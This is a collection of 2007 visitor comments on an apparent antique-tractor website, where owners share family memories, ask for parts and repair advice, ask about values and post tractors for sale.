Randy Voss wrote on Wednesday, November 14, 2007 (PST):I would love to track down the D that my father owned. My grandfather used to plow with it when I was a little tike and I would fall asleep on the rear gear cover from the warmth and vibration. I ran it in the 60 s when I was a teenager pulling 5 bottoms in a two plow tandem rig my dad fabricated. Ah the memories. Last I knew it got traded for an AC WD45 in the late 60 s at dealer in Somonauk, IL. It was unstyled, late 20 s/early 30 s I think solid flywheel, 2 speed trans. It was on rubber with cement poured into the rear wheels for weight. Any suggestions on how to find this old friend would be gratly appreciated.
kendall wrote on Wednesday, November 14, 2007 (PST):looking for a 1256, 1456, 856 with turbo, 966, 1066, 1466, 966, and 766 with bad motor. manly on the 766 for a feed wagon tractor have motor for it. 1256 1456 856t 1066 1466 966 looking to fix up and have around the farm short on tractors. all 66s can have bad motors and in ok shape ta s can be out and cluthces to may consiter on with bad rearend. dad is sick of me barowin his tractors. started farmin and need one more for manly just abou any job. ps will look at 06es to
Doug Sylfest wrote on Wednesday, November 14, 2007 (PST):My dad purchased a new Fordson Major Diesel in 1952. This was our middle tractor I believe the wheels were cast iron and painted orange. All four wheels. My little brother was killed driving this tractor. Forced to do so by his older sister.
Baby got back wrote on Wednesday, November 14, 2007 (PST):MY BEST FRIEND LOVES JOHN DEERES...... I SAY CASE IH WILL ALWAYS RULE!!!!!!!!!!!!!!!!!
Kelli Siegman wrote on Wednesday, November 14, 2007 (PST):I am selling a 1952 Allis Chalmers WD it needs a paint job but it runs perty well.The price will be 1000 OBO. Don t be afraid to halla at me because its a good deal!!!
Kelli Siegman wrote on Wednesday, November 14, 2007 (PST):This is a nice tractor and my daddy wants to get one real bad! This D21 is in real good shape and he might like it for Christmas. Thanks and have a good day! Love Kelli
Derek Redinbaugh wrote on Tuesday, November 13, 2007 (PST):My grandfather was Jim Keenan, the do-all man . He owned all four models 1928-1931 of the Rumely tractors. He onced farmed with one when he was 24. He sold it and later bought it back for 800.00. He completly restored the tractor and put an electric starter on it. He tracked down the other three tractors and restored them as well. I used to go with him to tractor shows in Nebraska when I was growing up. It was fun to watch him whip cookies in the plow tractor that had a pivoting wheel in the rear. Im not sure who owns them now, but I hope they are taken care of like my grandfather would hope they are.
Timmy A Williams wrote on Tuesday, November 13, 2007 (PST):My son has a 770 with a super 88 diesel motor .I need to know the length an wheel base of each tractor, Please HELP
john ryan wrote on Tuesday, November 13, 2007 (PST):we have recently acquired a 1942 model A.it runs well and the body is in need of some modest attention.we would like to be able obtain some under carriage equipment if possible.
david spangler wrote on Tuesday, November 13, 2007 (PST):i luv internationals, they are tuff tractors i have a 1466 turbo, IT S AWSOME!!!!!!
david spangler wrote on Tuesday, November 13, 2007 (PST):i luv internationals, they are tuff tractors i have a 1466 turbo, IT S AWSOME!!!!!!
etuma wrote on Tuesday, November 13, 2007 (PST):I have a Case 500, very good working order, new rubber all around plus liquid, chains and a short wood skidder in N. Minnesota Isabella that I d like to sell. Please contact me;412 401 3222
Anthony Cappelle wrote on Monday, November 12, 2007 (PST):I have a 2010 that keeps overheating but otherwise runs great. I have already put in a new thermostat,radiator,cap,and waterpump.Does anyone have more suggestions I also had this tractor tested and it only gave 28 HP. What is the HP supposed to be I can t find this info
Dianne Clawson wrote on Sunday, November 11, 2007 (PST):I have two tractors Farmall A and Farmall located in a small town in south Arkansas. I cannot find a serial number and don t know what year they were built. They re both garage kept. Can anyone help me find out how much they re worth I have digital photos. Any help would be greatly appreciated.
Perrin Hayes wrote on Friday, November 09, 2007 (PST):Am looking for a front wheel rim, without tire,for a Series 3 Field Marshall tractor. Am in British Columbia so preferably from a Canadian source but one from the USA would also be OK. Thanks.
ed botz wrote on Thursday, November 08, 2007 (PST):i had a 1942 s k that was a state hi way mowing rig i used this tractor to power my irrigation pump that i mounted on the draw bar . i would drive it to the ditch throw the sucton line into the ditch start pumping i would leave it there all day and it didnt use mutch gas .i pulled drag harrow with it and some times i used it to pull a grain drill november 8 2007
Stewart Hummer wrote on Thursday, November 08, 2007 (PST):I have a old International Harvestor corn binder and I am very interested in selling it, but, do not know what would be a fair price. Could you give me some insight on this. It is in pretty good shape the wood would have to be replaced. The wheels all turn good so it is functioning.
Jim Troska wrote on Wednesday, November 07, 2007 (PST):Well I got everything loose in the trany but i cant shif the geares,the rust is in between the splines and it wont slide back and forth,i have it soking in diesel fuel an outomatic trany fluid but still wont slide,can anyone help me thank Jim
Mike Bocchicchia wrote on Monday, November 05, 2007 (PST):I just aquired a 1948 AC G. It runs but the tires are dry rot. I need to replace them and was wondering if anyone can direct me to a place where I can get tires. I m very new to the tractor scene. Any help would be greatly appreciated. I m planning on restoring it as well.
jerome johnson wrote on Sunday, November 04, 2007 (PST):this is the best IH I have ever seen, even better that the biggest quad track. I would pay a few hundred thousand dollars for it!!!!!!!!!!! if i wanted to get a bad tractor
jerome johnson wrote on Sunday, November 04, 2007 (PST):this is the best IH I have ever seen, even better that the biggest quad track. I would pay a few hundred thousand dollars for it!!!!!!!!!!! if i wanted to get a bad tractor
DeWayne Nall wrote on Sunday, November 04, 2007 (PST):I have what i was told to be a 1947 Massey Harris pony. After looking at this site, i see that it might be a 1948! The gravity fed carb. keeps overflowing and the exhaust stack needs to be welded back on. Other that that , the tractor is in pretty good working condition! Know anyone who is interested in buying it and what is it worth
DeWayne Nall wrote on Sunday, November 04, 2007 (PST):I have what i was told to be a 1947 Massey Harris pony. After looking at this site, i see that it might be a 1948! The gravity fed carb. keeps overflowing and the exhaust stack needs to be welded back on. Other that that , the tractor is in pretty good working condition! Know anyone who is interested in buying it and what is it worth
Alan Roberts wrote on Saturday, November 03, 2007 (PST):I have a 1955 Pony tractor with hydraulic problems. Does anyone sell rebuild kits for this tractor Thanks for any help. The tractor has been rebuilt and runs great and is used often.
Jerry wrote on Saturday, November 03, 2007 (PST): Have a WD45 and need Information and parts location for the Hydroliac pump for the lift and any other information on how to overhaul any info will be appreaceated
phil wrote on Saturday, November 03, 2007 (PST):looking to buy a restorable ford offset ractor 501 or 2000 contact me at 419 3021749 thanks
Jeff Goard wrote on Friday, November 02, 2007 (PST):Im looking to restore my Dad s who passed away this past years, 1959 Ford 541 Offset Workmaster tractor....Where can I find parts....colors....etc!1 The tractor is in amazing shape now..after I finish I will love to sell it
William Champion wrote on Friday, November 02, 2007 (PST):I am pleased to say I own one of these tractors, but I need a magneto cap for it.
Ben wrote on Thursday, November 01, 2007 (PST):I have a Fordson Major Diesel just like the one in the photograph but with a front end loader. It is a 4 cyl. Just wondering exactly when it would have been built 1959 and how much horsepower would it have . Am located in north western Ontario, Canada
Terry in Washago wrote on Thursday, November 01, 2007 (PST):I jest got A 1948 AC B . It was in parts ,but Ihave got it back too gather and runnig. This tacter is in good shape and in good runnig condshn. I will be paenting it neci year,what paent is the righ one for it Would some one now.
southern british columbia canada. wrote on Tuesday, October 30, 2007 (PST):OC-3 crawlers-have two with parts, also Cletrac HG with Ware brand loader. Looking to see anybodies info on wether or not a restoe is affordable. Can t find generator parts.
justin mccain wrote on Tuesday, October 30, 2007 (PST):any idea where i can find an AC WD45 close to kentucky possibly tricycle type
Robert Edwards wrote on Monday, October 29, 2007 (PST):I will sell parts off these 5 tractors. 252-478-4178
clarence wimberley wrote on Monday, October 29, 2007 (PST): where can i get complete power take off for super 44 oliver tractor .
Allan Docherty wrote on Monday, October 29, 2007 (PST):I rebuilt and sold a D that was on steel wheels loved that tractor . I am now redoing a 1948 D to replace it but I need steel front wheels . I am doing it unstyled so I have parts to trade or sell if any onehas a spare set of front wheels , Thank You .
Bob Olson wrote on Sunday, October 28, 2007 (PST):I have a 5-10 Avery.1918 in perfect running condition.my dad bought it in 1955 saved it from going for scrap gave it to me for my 12th birthday ,so if my math is correct i ve had it for 52 years , been to many shows here in British Columbia and have not seen another one running . there is one at the fort langley ,machinery museum but is in poor shape , engine cracked and parts missing. I also saw one at Brooks,Oregon that looks like the one in the photo but is un restored.mine is a bit different than the one shown .it has the seat on a swivel,aft of the rear axle, three speed transmission,magneto ignition.I have gathered a bit of literature over the years and one catalog shows a picture that looks like mine.It s NOT for sale but I have wondered if any appraisals have ever been done or does anyone know what others have sold for.I will get a photo posted soon when my kids show me how . capt.Bob Olson
Bill Vander Heyden wrote on Sunday, October 28, 2007 (PST):I have a utility 300 which has a torque amplifier transmission. With the amplifier engaged, handel back the tractor occasionally will loose power to the wheels and has a noise from the transmission. I m thinking it s the over-running clutch causing the problem. Anyone have any thoughts on this Should this be the problem, where can I find the parts to repair it, or does someone have what I need.
Kris Massey wrote on Sunday, October 28, 2007 (PST):I got a hold of a 1959 881 sos for free!! Guy told me that the trans was bad but everything else works. I got it home did a tune-up on the engine and rebuilt the carb. Engin runs great but like the guy said bad trans, or was it I found the main pressure supply tube to the valve body was broke and the strut to band #1 was in the bottom of the trans. After tig welding the tube back together since they are no longer availble and adjusted the bands I still couldn t get the old beast to move. I could hear all of the servo s working and the three planetary gear sets working as I would shift through the speeds. So I decided to remove the axel coupling access cover and found that the lever on the panel was not in contact with the coupling. So I repaired that and put the tractor back together and was able to drive the tractor out of the garage and around the yard. Thats all I could since I had to put the rest of the tractor back together, but just the trip around the farm was a great ride. Now I have a New Holland tractor as well but having an old vintage tractor for free is awesome!!! I love my 881!!
Gary L. Roderick wrote on Sunday, October 28, 2007 (PST):I have come across an Internatioal Model 125 C crawler and need to find out more about it. year it was made, where I can get an oweners manuall, how much it weighs, etc.
Kim Cotham wrote on Saturday, October 27, 2007 (PDT):I would like to purchase a SAMSON seat.
gary holtman wrote on Saturday, October 27, 2007 (PDT):My dad bought an F 14 new in 1939. He passed away in 1977.My older brother got the tractor, but, never did anything with it. He let me have it two months ago. I drove the sleeves out with a sledge hammer, decided they looked a lot like C Farmall sleeves. I had a new set of them already. I had to machine .040 off the bottom end and purchased new O rings from Columbus Rubber and gasket Columbus, Mississippi . My son came by yesterday and, after a few turns of the crank, it fired up and ran perfect. I only had to clean the points on the magneto. The spark plugs are one inch national fine bolt size, so, I was able to clean the threads there with atap. I put new bearings in the governor. The main and rod bearings are the same part number as the C I put new tires on this week, 4;00 X 15 on the front, 11.2 X 38 on the rear. It came out new in Nebraska Norfolk with dual tires on the rear. They were replaced with 40 inch singles in 1947. One of my brothers borrowed the tires about 50 years ago and put his F 12 steel wheels on it. They were still on it when I got it, but, my brother gave me a set of H wheels and rims which are 38 . I ve got the tractor repainted now, looking like a pin up I left the little modifications that Daddy made on it, since this was Daddy s tractor, not a purchase from some else. I got the front mounted cultivator with it and hope to get the front mounted buzz saw. By the way, this tractor came out with a road gear and a foot brake along with the hand brakes. While this is still freash on my mind, I ll be glad to help anyone.
Robert Edwards wrote on Thursday, October 25, 2007 (PDT):I have 5 WD and WD45 junk tractors and I would sell all for 2500.00, probably could put 3 together with motor rebuilds.
Nancy wrote on Wednesday, October 24, 2007 (PDT):have a wd rowcrop tin /tires good what may it be worth
Monica Decker wrote on Tuesday, October 23, 2007 (PDT):I am seeking a narrow or wide front end for a Cockshutt 35 Blackhawk. Thank you for any help you can provide!
Lawrence M. Skidmore wrote on Monday, October 22, 2007 (PDT):I found an American Tractor Equipment Corp tracted, bulldozer type, front loader with Willys engine and drive. Where can I find information and value. I want to buy and restore. I was told it s a 1934. Don t know anything about them; I m a willys jeep man. Help!
tim moreland wrote on Sunday, October 21, 2007 (PDT):We bought a 1955, model 55 oliver gas about 5 years ago. Its a great tractor and well ahead of its time comparing to other tractors from that time, but I use it weekly to clean out the barn, and the lack of power steering the tractors not mine is getting old. I was looking at a newer tractor, and was considering a price for my tractor, but cant find anyone in my area with any Oliver knowledge. Could anyone help with that problem
Bill wrote on Friday, October 19, 2007 (PDT):I have a leader tractor that is a 47BR. What does the R mean Thanks Bill
Steve Shimanek wrote on Thursday, October 18, 2007 (PDT):Have Fergusen 12 plow looking for two new plow points. #point 2 bottem Model 12-AO-28 NO.41043. Looking for any information Thanks
BRETT wrote on Thursday, October 18, 2007 (PDT):I have a Field Marshall tractor but do not know where to find the serial number,or how to identify the model.I think that it is a series 2 as it only has one gear lever and the brakes are hand operated with levers.Can anyone advise me on the above
andy brubaker wrote on Thursday, October 18, 2007 (PDT):to reply to your question curt baartman..the one we have is propane and the 670 is to they both start anytime of the year...they seem to start alot easier in the winter than diesals and gas tractors...
Andy Brubaker wrote on Thursday, October 18, 2007 (PDT):ya i ve used a 1066 on many farms and i ve covered alot of ground with one they are a good tractor but i never cared to much for the shifter linkage once those get sloppy they always wanna lock in 2 gears pretty bad other than that i think they are wonderful
Bill Yacey wrote on Tuesday, October 16, 2007 (PDT):My dad has a 1953 MH 55 Diesel that my grandfather bought new. This tractor had the optional extra wide Goodyear tires in the back and still runs great. This tractor also has the hydraulic unit option that bolts onto the PTO shaft at the back of the tractor. He also has a 555 diesel that is essentially the same tractor, except it has live hydraulics and power steering driven off a pump at the front/side of the motor. As well there is a little chrome hood ornament that the 55 didn t have and a little flip-up door on the hood just behind the radiator.
Rob Reiner wrote on Tuesday, October 16, 2007 (PDT):I have just finished repairing my dad s 1927-2744 Twin City. I m looking for parts for this tractor or someone with knowledge of collecting twin city tractors. My dad also owned a 1220 twin city at one time and would be interesed in finding one of them to restore.
John Krull wrote on Tuesday, October 16, 2007 (PDT):My Father also has some MM tractors a 602 LP 705 MF97 LP and a 1355 D. My brother is looking for a G1000 Vista LP. He is looking to farm with them again in SW Iowa. Might entertain a 1050 LP also.
Dan March wrote on Monday, October 15, 2007 (PDT):I have my dads very first tractor he ever bought an AC-B . One of my very first memories of my dad and I spending time together was time on that big-little B-tractor. I was in high-school before I got around to doing anything with that tractor, but finely did get it running and loved every minute of it. After that, I ended up being hooked on Allis Chalmers Tractors. The very first tractor on the farm that my Grate Grandfather was able to afford was an AC-WC. Many years later, my Grandfather purchased an AC-WD45. Growing up I have many fond memories of on that WD45, making Hay in the summer, collecting sap in the snow for Maple Syrup, and fire wood when ever we had time to do it. Now with my Grandfather gone for some time and my dad with his small fleet of Case Tractors, the WD has been greatly neglected. But good news for the old Allis, I inherited it. She needs allot of work, new rebuilt engine, new rims and tires and some other small items that would make it a real prize on my Wife and I s farm. But after trying to get some info to fix it, I have found that I don t know as much about that tractor as I thought. Like were the best place to get good parts, or what Torque to Wheel Rating it has. If any on could help me out to get started, It would be greatly appreciated. Also would like to know what the Torque to Wheel Rating the WC and the B has also.
robert harris wrote on Monday, October 15, 2007 (PDT):i have antique parts for a toy ford tractor it is blue in color i am in chipley, florida my cell number is 850-703-9233
clay nelsen wrote on Saturday, October 13, 2007 (PDT):my dad had a 8n with the 6 cyl in it, it also had a loader on it. it had over sized tires on the rear with calcium in them. this tractor was a POWER house! it was unstopable. we lived in loveland, CO and he sold it about 6 years ago. I would love to find it again and buy it from the new owner. big mistake selling it.
Francis Willett wrote on Friday, October 12, 2007 (PDT):I have a 1948 Cub FCUB Serial #11377 that I am looking to have it fully restored as a gift for my father. Tractor was his fathers and has been garaged and runs well. Does anyone know any good restoration service people in New England Please Email me at fswillett at comcast.net. Thanks
kevin salmi wrote on Friday, October 12, 2007 (PDT):I have an Allis WD Tractor For Sale. 1949,50 Narrow Front. It has been all painted.Looks nice,Runs nice. Has new rear tires, new battery. Also it has 3-Point Hitch Set up. And live power. Sheet metal,and overall tractor looks real nice. Asking 2,300 obo. Also i have a WD Tractor For Sale for parts. Call or e-mail me. 1-906-3566573 Located in Upper Michigan.
todd veinot wrote on Thursday, October 11, 2007 (PDT):I have 1954 pacer all comeplete
Dan Rivers wrote on Wednesday, October 10, 2007 (PDT):I am restoring my second 1952 cases sc. i am looking for another tractor for parts w/engine.I am from Massachusettes. I will travel far to get what i need Please if you know of anyone that would like to sell some parts or complete,let me know.
mark mahieu wrote on Wednesday, October 10, 2007 (PDT):I m searching for a 15 30 on steel any out there
Dayo wrote on Wednesday, October 10, 2007 (PDT):i recently purchased an imt tractor tip/god 579 No;701002879 snaga 70 o/min 2000 reg plate pej 513s and am looking for any information regarding this tractor i.e year of manufacture and registration would appreciate any info! thanks!!
Don Fleming wrote on Tuesday, October 09, 2007 (PDT):Farmall H M rpm hunting ....Bushings are worn in the governor....Replace same rpm will be stable..Same fix for other models with similar magneto/governor setup...
Garry Hanson wrote on Tuesday, October 09, 2007 (PDT):I own a 1927 1530 McCormick Deering tractor! Needs TLC on carb.She is up for sale too! 1900 OBO these tractors r all on steel!
Garry Hanson wrote on Tuesday, October 09, 2007 (PDT):I own a 1928 15-30 McCormick Deering tractor. Needs Carb. work + its up for sale 700.00 OBO PH.1-306-634-7632
Garry Hanson wrote on Tuesday, October 09, 2007 (PDT):I have a 1927 1020 McCormick Deering tractor on steel! Needs TLC on Carb. And is up for sale PH.1-306 634-7632 Estevan SK.
James N. McCulley wrote on Tuesday, October 09, 2007 (PDT):I grew up on a model 60 JD. It was my granddaddy s tractor. My dad has it now. He still uses it some on the farm. I still get to drive it some raking hay. To me that tractor is priceless. I would love to restore it. Maybe one day i can. It doesnt have power steering or live pto. It s still an awesome tractor!
Stephen Tkachyk wrote on Monday, October 08, 2007 (PDT):I was asked by an old friend of my father who is restoring a CASE L and a LA tractor to try and find out the paint codes for each. Could any one help me with this do I need a specific year Thanks
M Poss wrote on Monday, October 08, 2007 (PDT):I have a 1938 F-20 that i need brake cables for and also need to know how they attach to the brakeshaft. can anyone help me
ken cardillo wrote on Sunday, October 07, 2007 (PDT):I have an ac B 1938 I need bearings for the rear of the tractor. Bull pinion bearings,axle shaft bearings seals races, bottom shaft seal differential seals.Ihave hit adead end!PLEASE HELP!!!
Chris Penton wrote on Friday, October 05, 2007 (PDT):Looking for engine parts for a Y91 Continental engine in a Massey Harris Pacer #16 Please help
David James wrote on Tuesday, October 02, 2007 (PDT):I have a friend in New Zealand,who buried her fathers samson tractor,and i know where it is, it has been underground for around 40 years dose anyone one think if it is salvagable
Garry Hanson wrote on Monday, October 01, 2007 (PDT):I own a 1928 15-30 McCormick Deering. Needs Carborator work and it s for sale! Also have a 1927 McCormick Deering tractor needs TLC on carberator to run good, it s also for sale. Both of these tractors are on steel wheels!
Garry Hanson wrote on Monday, October 01, 2007 (PDT):I own a i928 15-30 McCormick Deering. Needs Carborator work and it s for sale! Also have a 1927 McCormick Deering tractor needs TLC on carberator to run good, it s also for sale
Ken wrote on Monday, October 01, 2007 (PDT):Our farm firm melted the front emblem to our Oliver 770 and we are looking for a replacement part...any suggestions would be greatly appreciated!!!
Garry Hanson wrote on Sunday, September 30, 2007 (PDT):We would like to maybe purchase an 880 tractor. Does anybody have one for sale or up for auction
Leon Greisen wrote on Sunday, September 30, 2007 (PDT):I am looking for the sign Ford Major Diesel that is on the sides of the hoods. Thank you! Leon
Joe King wrote on Sunday, September 30, 2007 (PDT):I bought a 30 from a retired farmer it had tree growing around the front axle and wheel. I need engine for it.Will take complete parts tractor
C.W.Seaman wrote on Saturday, September 29, 2007 (PDT):Have 1950 MFWD GM engine for sale. 7500.00 785 885 4277
Scott Brown wrote on Saturday, September 29, 2007 (PDT):We are picking up an MM U given to us by my wife s uncle. I know nothing about it, except that is in very good condition. I ve been told I have been given a nice tractor. It will be used for very light work on our small hobby farm and to sit on display in our front yard. Any info. anyone might have about this tractor would most helpful. My address is 23168 Hwy. 14 Lewiston, MN.55952. Thank you, Scott Brown.
tim harding wrote on Friday, September 28, 2007 (PDT):I have just purchased a hg-42 oliver cletrac dozer and I am looking for any information on how I may find a starter or starter info I have no Idea what year it is maybe a 1949 can anyone push me in the right direction as to where I may find one...my phone # is 607-642-8602. I live in berkshire NY...the serial # is 55GA902....please HELP!!!!!!
Ronnie wrote on Thursday, September 27, 2007 (PDT):I have two masseys and I think one is a pacer and the other is a pony. The serial number for one is pga53317 and the other is pga17915. Could anyone tell me what I have
Ken Hess wrote on Wednesday, September 26, 2007 (PDT):I was at the Mabel, MN Steam Engine days Sep. 8th and they had a Rumely 14-28 there and also there was a quite small Rumely Oil Pull that was only about 8 ft. long. I couldn t find any details on it. I thought at first it was a Do-All but now see that it wasn t. Is there a way I could submit photos and see if anyone could identify this small Rumely Also I have a picture of another steam engine tractor that I can t identify. It is similar to a Port Huron but the name on the front of the boiler is something else that I can t read. Thanks for any assistance. Ken Hess
max wrote on Wednesday, September 26, 2007 (PDT):hi everyone i love oliver tractors and would like to buy an 1950 any price!!
Alan wrote on Tuesday, September 25, 2007 (PDT):I have a ford super major with sherman backhoe and fromt loader, a super tractor. It is old and there is a speed doubler on the Pto to run the hudraulic pump on the hoe. does anyone have one of these I can repair mine but might like to know where there might be some parts.
Jess English wrote on Tuesday, September 25, 2007 (PDT):Was anyone able t find the decal set for the 671 select-o-matic I came across the hood decal on eBay, but I need the decal for the gear rotator so you can see what gear you are shifting into. Also would love to see some photos of a restored one of these!!! -=jess=-
Sharon Haus wrote on Tuesday, September 25, 2007 (PDT):My husband is restoring a C model tractor. Not sure just what year it is. Serial number 14293 or maybe the 1 is really and I. Could you help Thanks
john wrote on Sunday, September 23, 2007 (PDT):have allis chalmers tractor with wf7306 stamped on rear housing,what year would this tractor be is the wf7306 the serial# or the model it looks similar too a model C I have seen in adverts.
steve lewis wrote on Friday, September 21, 2007 (PDT):I have a 600 case that im thinking about selling. Good tractor! I still use it every spring for planting.The only major work I have done to it is grind the valves had one sticking,so I did all 12 nothing wrong with it ,just want something with a cab.
Bob wrote on Thursday, September 20, 2007 (PDT):I am looking for a loader to fit my 160 ac that is located in southeastern US
mike jones wrote on Thursday, September 20, 2007 (PDT):looking for an injector pump for a super major diesel w/backhoe. any help would be appreciated. thanks
jhonny boy wrote on Thursday, September 20, 2007 (PDT):I have a 1958 ac d-14 and i have low oil pressure with a brand new motor i was wondering where i can get a pressure relief ball and spring or and a new oil pump thanks for your help.
Zach burk wrote on Thursday, September 20, 2007 (PDT):I have a styled d jd i was wanted to know were to put oil in it
Ron Wallace wrote on Thursday, September 20, 2007 (PDT):FOR SALE Moving Must Sell !!!!!!!!!!! 49 Pony with 4 Howe brush hog - still using it mowing 6 acres, runs great, Having to move must sell!! Has hydrolic lift, 3point hook up class 1,Rear PTO, lights work, new battery, new front tires, electric start of course hand crank for the adventurous ones 5,000.00 Call Evenings After 6;30pm CST 972-633-8047 or e-mail ; KD5OYK at verizon.net
paul willson wrote on Thursday, September 20, 2007 (PDT):my great grandfather had a bull tractor. i have a letter from the company cograndulating him for his wise desion on buying it and i also have a owners manual which desribes how to maintain the tractor. my uncle said they cut it up in a ww ii scrap drive
martyn Lloyd wrote on Thursday, September 20, 2007 (PDT):I own a 1959 fordson dexta 3cyl with live drive pto which i am just starting to renivate could you please advise me what colour should the wheels,grill etc etc to bring it back to its original state
John E. Guehlstorff III wrote on Wednesday, September 19, 2007 (PDT):I have just traded my 800 Industrial in on a new tractor. I kept the front end loader, the manure bucket, regular bucket and some wheel weights because they didn t want them. All hoses need to be replaced. Is there a market for these items
James Morse wrote on Tuesday, September 18, 2007 (PDT):I am thinking of purchasing a d-17, this is setting a junk yard. I was wondering a couple of things about this tractor. First what is a far price for one missing a radiator, and I think the governor and has a knock in engine tires fair, paint, needs repainted, and am I right about thinking the governor being on the right side up near fan Thanks need answer asap.
Joe schumacher wrote on Tuesday, September 18, 2007 (PDT):My dad farms with masseys and I plan to also, I am collecting them and have; 33row crop 44 diesel row crop 44 diesel standard 444 standard Western- I think feurgson 30 and a 44-6 I am in central MN and am buying and selling masseys. Thank You.
Howard S wrote on Sunday, September 16, 2007 (PDT):Looking for parts for Buda YR Engine. Any leads would be appreciated. Were these engines in other machines, e.g. trucks maybe Thanks
Ken Bulmer wrote on Friday, September 14, 2007 (PDT):I have a 1954 or 1953 fordson major diesel.I used for a year now and love it.I have injector problems i thought.I had the injector worked on and they thouhgt I was missing a part off the injector.Where the rack is located. the housing and external fuel switch I thought that it was modified anyone know about this
Bob Martin wrote on Thursday, September 13, 2007 (PDT):What rear end fluid should I use in my 1944 2n What about engine oil Any response will be appreciated!!
nick mac wrote on Wednesday, September 12, 2007 (PDT):we are restoring a 1939 f-20 how can we, if its possible, change it from crank to eletric start any help/ ideas would be greatly appreciated it is an FFA project THANK YOU
Chris wrote on Wednesday, September 12, 2007 (PDT):This was one of the first tractors I learned to use. I was nine years old 30 years ago , helping my grandfather on our family dairy farm. I since have taken over the farm and still use this fine old tractor on a daily basis. It s never had an overhaul or any major work, except for a clutch a couple of times. Allis Chalmers forever ! ! !
Jason J. Snudden wrote on Wednesday, September 12, 2007 (PDT):Have been left in charge of my grandfathers 25-45 X . This is one of my favorite of his collection. I enjoy running it every year at the Rock River Thresheree. Does anyone have time to chat about running the old girl. I generally dont have any problems starting her, when she is cool or shaded, thanks Mr. Standish for that info, I was wondering if the heat of the day was a factor, and I do think it is . Just looking for some fine tuning or general operational information, thanks.
Charlie Moffitt wrote on Wednesday, September 12, 2007 (PDT):I have a fully restored 1951 Case VAC. I am not very knowledge on tractors. I acquired this through my fathers friend that was have huge financial issues. I am looking to find out the value of the tractor and also sell the tractor. Any advice is welcome.
Gary Baker wrote on Tuesday, September 11, 2007 (PDT):I have a Ford 881 with a bad trans. I need to find someone to rebuild this trans. for me. I really liked operating this tractor and hope someone can help me. I m afraid to attempt this project alone. I live in Eastern Iowa.
eric young wrote on Tuesday, September 11, 2007 (PDT):i own both sytle of the 300 had the utility for many years used it for bailind hay and etc. only used the pair know for mowing with brush hog they work great. i have them for sale bought band new tractor to replace them also have and h and a c for sale.
Rick wrote on Monday, September 10, 2007 (PDT):My Dad had a tractor like this only his had a wide front end and we used it,becauase it was the only tractor we had at the time. We farmed 160 acres with it the first year or two we he had it then we seeded everything down to hay and pasture and baled a lot of hay with this tractor. It was was a real good little tractor I really enjoyed running it. Dad has sold it,and I don t where it went to. I don t know what year it was,but I think it was a 1964 model 201,but I m not real sure. I would like to find this tractor again if I could!
Roy W. Davis wrote on Sunday, September 09, 2007 (PDT):I have a 1952 8N Ford 6 cylinder. runs good, lift works , tractor is clean and tight. Make me an offer, I will send pictuires to anyone interested.
Russel Lueras wrote on Sunday, September 09, 2007 (PDT):I have a 8n tractor. I was using it and it became stuck in 1st gear. I opened up the top and got it to nuetral. But even in nuetral you can push the tractor and it stops like it is trying to pop into gear. Or if you drive it it shifts gears fine but makes a loud clunking noise. Please HELP
Jeri Nelson wrote on Saturday, September 08, 2007 (PDT):My husband has the opportunity to purchase a 1942 John Deere D, complete. The asking price is 2000.00. Is there a place on the net that gives a general idea of the value of such a machine
karsky wrote on Saturday, September 08, 2007 (PDT):The Bull Tractor Company was located in Minneapolis Minnesota. The Bull listed for 585. Motor was 10hp drawbar 7 guaranteed 25hp belt 20 guaranteed . It had Direct drive with only 4 gears.
gary wrote on Friday, September 07, 2007 (PDT):worked ford tractor dealer 1954thru 1999 except 2years out for armyworked on many slecto,s ..when first out many problems at last they had very good but pricede out market,eng who designed it went work jojn deer built powershift for them,
Matthew Kramlich wrote on Wednesday, September 05, 2007 (PDT):My father in-law has a Rock Island model G, not a G-2. I believe it was built in either 27 or 28. It has the Waukesha engine that is cradled in engine frame rails. I have done a bit of research on this model and I get the impression that the G model is extremely rare. Does anyone out there have an estimate on the value of this tractor It has not run in a long time and needs complete restoration, but the entire tractor is complete minus the magneto on the engine. Otherwise nothing is missing.
Bob Vredenburgh wrote on Wednesday, September 05, 2007 (PDT):When I use the hand lever to engage the pto there is serious grinding. With engine off the pto engages easily. The fluid level is ok. The owners manual says use 10w-30 oil, 8 gal. Any suggestions. The machine is a 1961 2010 and I am the 2nd owner, I think its a great tractor!
paul schopbach wrote on Wednesday, September 05, 2007 (PDT):hello looking for brake cams and pedals for a 10-20 titan Thank you Paul
Jerry Mundell wrote on Tuesday, September 04, 2007 (PDT):I own a working 1929 Massey Harris / Wallis tractor. This tractor was purchased new by my grandfather. I even have the part manuals. The tractor wore out 2 sets of steel wheels and is now on rubber tires. This was the first 3 bottom plow tractor ever sold in Clinton Co. Indiana USA. For insurance purposes I would like to know what these tractors sell for If you know please send me an Email
Rusty wrote on Sunday, September 02, 2007 (PDT):How much horse power does this tractor have Is it basicly the same size as the 820 series PLease write back as soon as possible.Thanl you.
jacob wrote on Sunday, September 02, 2007 (PDT):if any one has a transmission and pto shaft i would be very intrested jsanor at windstream.net
Bill wrote on Sunday, September 02, 2007 (PDT):my father just bought a H-3 crawler serial 8694AN can someone tell me what year this machine is where should i look for an exhaust manifold what parts interchange any help would be greatly appreciated. email is hunnybear at chartermi.net
Marlow Swedzinski wrote on Friday, August 31, 2007 (PDT):Dear Mr. Nikolich; Wonderful photo of a 1959 D-17. I inherited my Dad s 1958-1960 D-17. It has the same black grill and orange wheels. How do I know what year it is Did the 1960 have this paint sceam Thank you, Marlow Swedzinski
Dave Barker wrote on Friday, August 31, 2007 (PDT):I have a 1945 VAIW. It was brought into a little town in B.C. Canada to work in a sawmill shunting box cars. The mill cut box shook used for making the old wooden apple boxes. It stayed there until the 60 s when they quit making wooden boxes and shut the mill down. The local town bought it and put a hokey blade on it controlled with a hand winch. It was used to plow snow off the side walks and the local ice rink. There is a picture in Tractor Photos
John Paul wrote on Friday, August 31, 2007 (PDT):Do LA Case Tractors have Tricycle front ends
Harold Culbertson wrote on Thursday, August 30, 2007 (PDT):A friend of mine has aquired what I beleave to be an O-14 and I would like to know where to find a hood and other cosmetic parts for this tractor.
jarrod gilbert wrote on Thursday, August 30, 2007 (PDT):My grandfather and I farmed 700 acres of cotton one time with two 560 s. I do not believe a person could ask for better row crop tractor. With 4-row equipment you had to stay on it.
tractor boy wrote on Wednesday, August 29, 2007 (PDT):Nice tractor I just bought a W4 the other day.
tractor boy wrote on Wednesday, August 29, 2007 (PDT):Nice tractor I just bought a W4 the other day.
Wesley Briant wrote on Tuesday, August 28, 2007 (PDT):I just purchased this tractor with backhoe and loader. Any Idea how much the weight would be or where I might find this info
